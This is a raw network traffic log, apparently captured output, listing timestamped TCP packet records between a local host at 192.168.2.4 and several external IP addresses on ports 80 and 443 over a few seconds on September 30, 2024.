Sep 30, 2024 12:22:47.640590906 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640602112 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640672922 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640690088 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640700102 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640708923 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640719891 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640734911 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640741110 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640746117 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640757084 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640768051 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640769958 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640778065 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640784979 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640799046 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640806913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640829086 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640855074 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641004086 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641015053 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641030073 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641041040 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641051054 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641052961 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641063929 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641068935 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641073942 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641083956 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641086102 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641097069 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641100883 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641108990 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641122103 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641146898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641165972 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641201973 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641227007 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641238928 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641266108 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641277075 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641325951 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641339064 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641350031 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641361952 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641362906 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641376972 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641390085 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641411066 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641474009 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641490936 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641508102 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641514063 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641520977 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641531944 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641532898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641545057 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641546011 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641557932 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641568899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641568899 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641578913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641582012 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641603947 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641634941 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641638041 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641673088 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641685963 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641724110 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641750097 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641766071 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641777039 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641789913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641807079 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641818047 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641894102 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641905069 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641915083 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641926050 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641931057 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641937017 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641947985 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641951084 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641961098 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.641963959 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.641984940 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.642009020 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.642018080 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.642055988 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.642116070 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.642127991 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.642138958 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.642149925 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.642154932 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.642160892 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.642168045 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.642170906 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.642191887 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.642214060 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728037119 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728060007 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728071928 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728081942 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728085041 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728092909 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728097916 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728105068 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728115082 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728118896 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728126049 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728136063 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728137016 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728156090 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728166103 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728173018 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728190899 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728193045 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728204012 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728214025 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728223085 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728224993 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728238106 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728250027 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728264093 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728267908 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728277922 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728288889 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728291035 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728298903 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728300095 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728318930 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728328943 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728338957 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728341103 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728355885 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728365898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728365898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728383064 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728385925 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728394032 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728404045 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728410006 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728415012 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728425026 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728431940 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728435993 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728446007 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728456974 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728460073 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728472948 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728478909 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728485107 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728494883 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728494883 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728506088 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728522062 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728528976 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728532076 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728543043 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728554010 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728554964 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728564024 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728566885 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728575945 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728586912 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728596926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728596926 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728609085 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728619099 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728624105 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728631020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728638887 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728642941 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728655100 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728666067 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728667021 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728676081 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728686094 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728696108 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728697062 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728705883 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728707075 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728715897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728727102 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728739023 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728743076 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.728760004 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.728770018 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.878807068 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:47.878878117 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:47.882605076 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:47.882617950 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:47.882870913 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:47.884470940 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:47.884506941 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:47.884552956 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:47.891531944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:47.896476984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:48.339781046 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:48.339869976 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:48.340357065 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:48.343667984 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:48.343684912 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:48.343704939 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:48.343710899 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:48.412924051 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:48.412970066 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:48.413525105 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:48.413819075 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:48.413836956 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:48.438096046 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:48.442904949 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:48.443550110 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:48.443671942 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:48.449038982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:48.657356024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:48.657443047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:48.663691044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:48.668565035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:49.050286055 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.050357103 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.052779913 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.052793980 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.053072929 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.055084944 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.068365097 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.068432093 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.070812941 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.075598955 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.099407911 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.224359989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:49.224410057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:49.314877987 CEST	52541	80	192.168.2.4	45.132.206.251
Sep 30, 2024 12:22:49.319713116 CEST	80	52541	45.132.206.251	192.168.2.4
Sep 30, 2024 12:22:49.319766045 CEST	52541	80	192.168.2.4	45.132.206.251
Sep 30, 2024 12:22:49.324229956 CEST	52541	80	192.168.2.4	45.132.206.251
Sep 30, 2024 12:22:49.324271917 CEST	52541	80	192.168.2.4	45.132.206.251
Sep 30, 2024 12:22:49.329348087 CEST	80	52541	45.132.206.251	192.168.2.4
Sep 30, 2024 12:22:49.329359055 CEST	80	52541	45.132.206.251	192.168.2.4
Sep 30, 2024 12:22:49.329386950 CEST	80	52541	45.132.206.251	192.168.2.4
Sep 30, 2024 12:22:49.329404116 CEST	80	52541	45.132.206.251	192.168.2.4
Sep 30, 2024 12:22:49.329420090 CEST	80	52541	45.132.206.251	192.168.2.4
Sep 30, 2024 12:22:49.329428911 CEST	80	52541	45.132.206.251	192.168.2.4
Sep 30, 2024 12:22:49.334894896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.335289955 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.351855040 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.356724024 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.533274889 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.533297062 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.533366919 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.537540913 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.542331934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.589539051 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.589562893 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.589586020 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.589622974 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.589643002 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.589665890 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.589696884 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.678337097 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.678383112 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.678447008 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.678457022 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.678483009 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.678527117 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.718864918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.718885899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.718897104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.718961954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.718971968 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.718981981 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.718982935 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.718993902 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.719034910 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.719439983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.719480038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.719540119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.734359980 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.734378099 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.734390020 CEST	52539	443	192.168.2.4	104.102.49.254
Sep 30, 2024 12:22:49.734396935 CEST	443	52539	104.102.49.254	192.168.2.4
Sep 30, 2024 12:22:49.758219957 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:49.763053894 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.938802004 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:49.938889980 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.066210032 CEST	80	52541	45.132.206.251	192.168.2.4
Sep 30, 2024 12:22:50.067560911 CEST	52541	80	192.168.2.4	45.132.206.251
Sep 30, 2024 12:22:50.479490995 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.479532957 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.484587908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.484601974 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.484611034 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.484632969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.484642029 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.484651089 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.484658957 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.484668970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.768165112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.768254042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.771589994 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.776591063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949069023 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949084997 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949096918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949130058 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.949161053 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.949244022 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949254036 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949265003 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949275970 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.949309111 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.949717999 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949765921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949775934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949785948 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.949804068 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.949824095 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.950480938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.950491905 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.950503111 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.950511932 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:50.950527906 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:50.950551033 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.030527115 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.030548096 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.030560970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.030575991 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.030589104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.030600071 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.030599117 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.030623913 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.030638933 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.030810118 CEST	80	52540	46.8.231.109	192.168.2.4
